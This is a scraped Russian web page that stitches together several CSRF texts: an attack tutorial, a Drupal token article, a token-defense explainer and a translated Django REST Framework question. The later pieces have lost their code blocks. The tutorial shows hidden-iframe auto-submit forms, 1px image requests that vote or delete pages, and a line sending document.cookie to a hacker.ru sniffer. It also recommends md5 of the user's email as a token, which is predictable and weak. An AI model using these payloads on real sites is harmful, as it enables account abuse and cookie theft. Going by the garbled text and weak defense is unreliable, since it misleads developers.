Атака вида «межсайтовая подделка запросов» (CSRF) | rpilot62.ru

В сети часто можно встретить темы про XSS. Происходят такие атаки из-за неправильной фильтрации данных. Но есть еще CSRF-атаки, которые не зависят от фильтрации данных.

Пример POST-запроса

Рассмотрим форму личного сообщения на сайте какой-нибудь социальной сети.

Обычно html-код выглядит так

<form action=»» method=»post»> <input type=»text» name=»subject» /><br /> <textarea name=»text»></textarea><br /> <input type=»submit» name=»submit» value=»Отправить» /> </form>

Никакой капчи или другой защиты в этой форме нет. Действительно, зачем какая-то защита, если мы уверены, что пользователь авторизовался на сайте. Данная форма не подвержена XSS и с первого взгляда выглядит довольно безопасно.

Обработка формы на стороне сервера

<?php if (isset($_POST[‘submit’]) && $_SESSION[‘user’]) { $subject = htmlspecialchars($_POST[‘subject’]); $text = htmlspecialchars($_POST[‘text’]); // записываем в базу данных mysql_query(‘INSERST INTO …’); } ?>

$_SESSION[‘user’] – условие того, что пользователь авторизован.

Пользователь авторизовался на сайте. Затем он случайно зашел на сайт хакера, на котором есть скрытый iframe

<html> <head><title>Сайт хакера</title></head> <body> <script type=»text/javascript»> function submit_form(){ window.evilframe.document.forms[0].submit(); } </script> <iframe name=»evilframe» src=»https://rpilot62.ru/wp-content/uploads/2018/06/20181.jpg» style=»display:none» onload=»submit_form()»></iframe> </body> </html>

В iframe «form.html» подгружается код.

<form action=»http://site.ru/mail.php» method=»post»> <input type=»text» name=»subject» /><br /> <textarea name=»text»></textarea><br /> <input type=»submit» name=»submit» value=»Отправить» /> </form>

Что происходит. JavaScript автоматически отправляет форму, заполненную спамом, на сайт социальной сети. Вместе с заспамленной формой в запросе отправляются куки этого пользователя. Это происходит в полном соответствии с протоколом HTTP (форму можно отправить с другого домена, точно так же как можно подгрузить картинку с другого домена). На обработчик формы приходит точно такой же запрос, как если бы пользователь отправил бы его с основного сайта.

Загрузка’…

Только реферер будет другим (реферер сайта хакера, так как с него ушел запрос).

Таким образом, пользователь даже не заметит, что форма была отправлена. Всё происходит в фоновом режиме.

Пример GET-запроса

Теперь рассмотрим пример GET-запроса. Например, на сайте есть голосование, реализованное через AJAX. На сайте хакера размещаем картинку размером 1px и указываем путь к скрипту голосования.

<img src=”http://www.vkontakte.ru/vote.php?id=3” width=1px height=1px />

id=3 – за кого мы голосуем.
Таким образом, как только пользователь зайдет на сайт хакера, то он проголосует за кого-то, причем сам пользователь этого не увидит.

Пример удаления страницы

<img src=»http://site.ru/page.php?id=4&action=delete″ width=1px height=1px />

Для подобных атак необходимо чтобы пользователь был авторизован на сайте социальной сети в момент атаки. Причем пользователя не спасет суперсложный пароль или последняя версия антивируса. Подобные атаки не противоречат протоколу HTTP и зависят только от отсутствия защиты от таких атак на самом сайте.

CSRF-атака, в отличие от XSS, не возвращает ответ. Т.е. ответ от сервера уже не может быть получен хакером. Ответ от сервера конечно приходит, но приходит он в браузер пользователя, а не на сайт хакера.

В XSS хакер может получить ответ от сервера. Например, встроить вредоносный код на сайте жертвы и таким образом воровать куки.

<img src=”http://www.hacker.ru/sniffer.php?cookie=document.cookie” width=1px height=1px />

Но, как я показал выше, хватает способов взлома и без получения ответа от сервера, посылая только запрос «в одну сторону».

Защита

В предыдущем абзаце содержится ответ на вопрос о способе защиты от CSRF. Примеры атак, приведенных выше, показывают, что для всех пользователей запросы будут одинаковые. Введем для каждого пользователя какое-то уникальное значение в скрытый параметр формы, например md5($user_email)

<form action=»» method=»post»> <input type=»text» name=»subject» /><br /> <textarea name=»text»></textarea><br /> <input type=»hidden» name=»hash» value=»<?=md5($_SESSION[‘user_email’])?>» /> <input type=»submit» name=»submit» value=»Отправить» /> </form>

Проверяем на сервере

<?php if (isset($_POST[‘submit’]) && $_SESSION[‘user’] && md5($_SESSION[‘user_email’])==$_POST[‘hash’]) { $subject = htmlspecialchars($_POST[‘subject’]); $text = htmlspecialchars($_POST[‘text’]); // записываем в базу данных mysql_query(‘INSERST INTO …’); } ?>

Хакер не может загрузить эту форму, распарсить ее и узнать значение hash. На этом основана защита. Вот в принципе и всё. Для примера можете посмотреть формы, AJAX-запросы в Контакте. Там везде присутствует подобный хэш.

Можно еще проверять реферер, но в этом случае могут пострадать нормальные пользователи. Некоторые фаерволы и прокси обрезают реферер.

Статья эвакуирована с DrupalDance.com


Поводом к написанию этой статьи послужило нахождение мною уязвимости в одном довольно известном модуле. Так как по правилам обнаружения уязвимостей, я пока не вправе распространяться о деталях, то расскажу об уязвимости в общих чертах, а также о методах борьбы с ней.

Итак, подделка межсайтовых запросов (анг. Сross Site Request Forgery, или, сокращенно, CSRF): что это такое и с чем его едят.

CSRF — это вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP. Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную операцию (например, перевод денег на счёт злоумышленника).

Cross-Site Request Forgery – много шума из-за ничего

Для осуществления данной атаки, жертва должна быть авторизована на том сервере, на который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со стороны пользователя.

Данный тип атак, вопреки распространённому заблуждению, появился достаточно давно: первые теоретические рассуждения появились в 1988 году, а первые уязвимости были обнаружены в 2000 году.

Одно из применений СSRF — эксплуатация пассивных XSS, обнаруженных на другом сервере. Так же возможны отправка спама от лица жертвы и изменение каких-либо настроек учётных записей на других сайтах(например, секретного вопроса для восстановления пароля).

Живой пример

Например, нам нужно сделать небольшой модуль, который должен аяксом удалять ноды. Это можно реализовать служебной ссылкой ноды, при нажатии которой, отправляется аякс запрос на друпаловский путь. К этому пути прицеплен обработчик, который и удаляет ноду. Вот примерно таким модулем все и делается:

node_destroy.module

node_destroy.js

И все бы хорошо, но в один солнечный день, на сайт приходит злой тролль… Или более жизненная ситуация — озлобленный бывший сотрудник приходит на сайт и пытается его поломать. Помня старый опыт, он пробует зайти по адресу , но получает от ворот поворот, так как уже не имеет прав на удаление материалов.

И тут, в порыве деструктивного креатива, он создает ноду с таким контетом:

Что происходит в этот момент? Никакая картинка, естественно, не подгрузится, но браузер тролля выполнит запрос на этот путь с прежним результатом.

Смирившись с неудачей, тролль уходит с сайта. Через день, администратор сайта замечает эту мусорную ноду, заходит в нее и удаляет. А вернувшись в список материалов, не находит в нем ноды с айдишником 123. Атака удалась. Занавес.

Для тех, кто не понял, когда администратор зашел в ноду, его браузер тоже ломанулся по ссылке картинки. Но здесь уже прав доступа хватило, и нода была успешно удалена, а админ даже ничего не заметил.

Как избежать CSRF уязвимостей?

Ответ — использовать уникальные ссылки для действий по изменению данных. Как это возможно? В друпале используется метод токенизации ссылок. Это означает, что к ссылке активного действия, прибавляется уникальный параметр, который проверяется при осуществлении самого действия. В друпале сгенерировать такой параметр можно функцией drupal_get_token(). Проверить —drupal_valid_token(). Токен генерируется на основе подаваемого значения, сессии пользователя, а также приватного ключа сайта, что практически сводит на ноль вероятность генерации вредителем правильного токена.

Внесем изменения в наш модуль. Начнем с выставления правильной ссылки:

Как вы помните, мы шлем аякс запрос по адресу, который зашит в ссылке, поэтому в коллбеке нам остается только проверить стандартным способом.

Остальные статьи цикла «Безопасный код»

Нельзя говорить про AJAX и не упомянуть про важнейшую деталь его реализации – защиту от CSRF-атак.

CSRF (Cross-Site Request Forgery, также XSRF) – опаснейшая атака, которая приводит к тому, что хакер может выполнить на неподготовленном сайте массу различных действий от имени других, зарегистрированных посетителей.

Какие это действия – отправка ли сообщений, перевод денег со счёта на счёт или смена паролей – зависят от сайта, но в любом случае эта атака входит в образовательный минимум веб-разработчика.

Злая форма

«Классический» сценарий атаки таков:

  • Вася является залогиненным на сайт, допустим, . У него есть сессия в куках.

  • Вася попал на «злую страницу», например хакер пригласил его сделать это письмом или как-то иначе.

  • На злой странице находится форма такого вида:

  • При заходе на злую страницу JavaScript вызывает , отправляя таким образом форму на .

  • Сайт проверяет куки, видит, что посетитель авторизован и обрабатывает форму. В данном примере форма предполагает посылку сообщения.

Итог атаки – Вася, зайдя на злую страницу, ненароком отправил письмо от своего имени. Содержимое письма сформировано хакером.

Защита

В примере выше атака использовала слабое звено авторизации.

Куки позволяют сайту проверить, что пришёл именно Вася, но ничего не говорят про данные, которые он отправляет.

Иначе говоря, куки не гарантируют, что форму создал именно Вася. Они только удостоверяют личность, но не данные.

Типичный способ защиты сайтов – это «секретный ключ» (), специальное значение, которое генерируется случайным образом и сохраняется в сессии посетителя. Его знает только сервер, посетителю мы его даже не будем показывать.

Затем на основе ключа генерируется «токен» ().

Уязвимость CSRF. Введение

Токен делается так, чтобы с одной стороны он был отличен от ключа, в частности, может быть много токенов для одного ключа, с другой – чтобы было легко проверить по токену, сгенерирован ли он на основе данного ключа или нет.

Для каждого токена нужно дополнительное случайное значение, которое называют «соль» .

Формула вычисления токена:

Например:

  1. В сессии хранится , это значение создаётся один раз.
  2. Для нового токена сгенерируем , например пусть .
  3. .

Это значение – с одной стороны, случайное, с другой – имея такой , мы можем взять его первую часть в качестве и, зная , проверить по формуле, верно ли он вычислен.

Не зная , невозможно сгенерировать token, который сервер воспримет как правильный.

Далее, токен добавляется в качестве скрытого поля к каждой форме, генерируемой на сервере.

То есть, «честная» форма для отсылки сообщений, созданная на , будет выглядеть так:

При её отправке сервер проверит поле , удостоверится в правильности токена, и лишь после этого отошлёт сообщение.

«Злая страница» при всём желании не сможет сгенерировать подобную форму, так как не владеет , и токен будет неверным.

Такой токен также называют «подписью» формы, которая удостоверяет, что форма сгенерирована именно на сервере.

Токен и AJAX

Теперь перейдём к AJAX-запросам.

Что если посылка сообщений в нашем интерфейсе реализуется через XMLHttpRequest?

Как и в случае с формой, мы должны «подписать» запрос токеном, чтобы гарантировать, что его содержимое прислано на сервер именно интерфейсом сайта, а не «злой страницей».

Здесь возможны варианты, самый простой – это дополнительная кука.

  1. При авторизации сервер устанавливает куку с именем , и пишет в неё токен.

  2. Код, осуществляющий XMLHttpRequest, получает куку и ставит заголовок с ней:

  3. Сервер проверяет, есть ли заголовок и содержит ли он правильный токен.

Защита действует потому, что прочитать куку может только JavaScript с того же домена.

«Злая страница» не сможет «переложить» куку в заголовок.

Если нужно сделать не XMLHttpRequest, а, к примеру, динамически сгенерировать форму из JavaScript – она также подписывается аналогичным образом, скрытое поле или дополнительный URL-параметр генерируется по куке.

Итого

  • CSRF-атака – это когда «злая страница» отправляет форму или запрос на сайт, где посетитель, предположительно, залогинен.

    Если сайт проверяет только куки, то он такую форму принимает. А делать это не следует, так как её сгенерировал злой хакер.

  • Для защиты от атаки формы, которые генерирует , подписываются специальным токеном. Можно не все формы, а только те, которые осуществляют действия от имени посетителя, то есть могут служить объектом атаки.

  • Для подписи XMLHttpRequest токен дополнительно записывается в куку. Тогда JavaScript с домена сможет прочитать её и добавить в заголовок, а сервер – проверить, что заголовок есть и содержит корректный токен.

  • Динамически сгенерированные формы подписываются аналогично: токен из куки добавляется как URL-параметр или дополнительное поле.

Эта подпись говорит о том, что автор формы – сервер, но ничего не гарантирует относительно её содержания.

Есть ситуации, когда мы хотим быть уверены, что некоторые из полей формы посетитель не изменил самовольно. Тогда мы можем включить в MD5 для формулы токена эти поля, например:

При отправке формы сервер проверит подпись, подставив в неё известный ему и присланное значение . При несовпадении либо не тот (хакер), либо изменено.

Я портирую свой проект на Django Rest Framework, чтобы сделать правильный REST Api для моего проекта, я думаю, что он помогает много разрабатывать API и делает его надежным, но у меня возникает проблема:

У меня есть модель ввода и связанные и . Я могу успешно опубликовать новый экземпляр записи в списке через запрос ajax и предоставить как и в обычном Django View.

Теперь я пытаюсь применить патч к существующему экземпляру, используя тот же самый :

Код состояния ответа затем FORBIDDEN с ошибкой хотя я проверил в firebux, что находится в данных запроса.

Я не ошибаюсь, и я не могу узнать, где в коде отклоняется запрос.

Примечание. Я могу исправить объект с помощью API-интерфейса Django Rest Framework, доступного для просмотра.

Я надеюсь, что кто-то может помочь. Благодарю. Оливье

РЕДАКТИРОВАТЬ

Я копался в коде, чтобы увидеть, где происходит повторение запроса PATCH, и я нашел в следующее:

Второй тест терпит неудачу, потому что это не запрос POST, но требуемая информация находится в запросе.DATA.

Межсайтовая подделка запроса

Похоже, что django не хочет принимать запрос PATCH. Как вы думаете, что будет лучшим способом обойти это?

Вы бы рекомендовали использовать другую систему аутентификации (в документации по Django-rest-framework есть некоторые)?

EDIT2

Я нашел решение: я заметил, что просматриваемый api фактически отправляет запрос POST, но с параметром _method = «PATCH», поэтому я сделал то же самое с моим аякс-запросом, и он отлично работает.

Я не знаю, правильно ли это сделать, любые отзывы и мнения приветствуются!

EDIT3

Итак, после большего чтения, я обнаружил (я уже знал …), что, поскольку некоторые браузеры не поддерживают такие запросы, как PUT, PATCH, DELETE, можно отправить отправку запроса с помощью X-HTTP-метода-переопределения в заголовке.

Поэтому хороший способ пойти, я думаю, это сделать следующее:

Добавить комментарий

Закрыть меню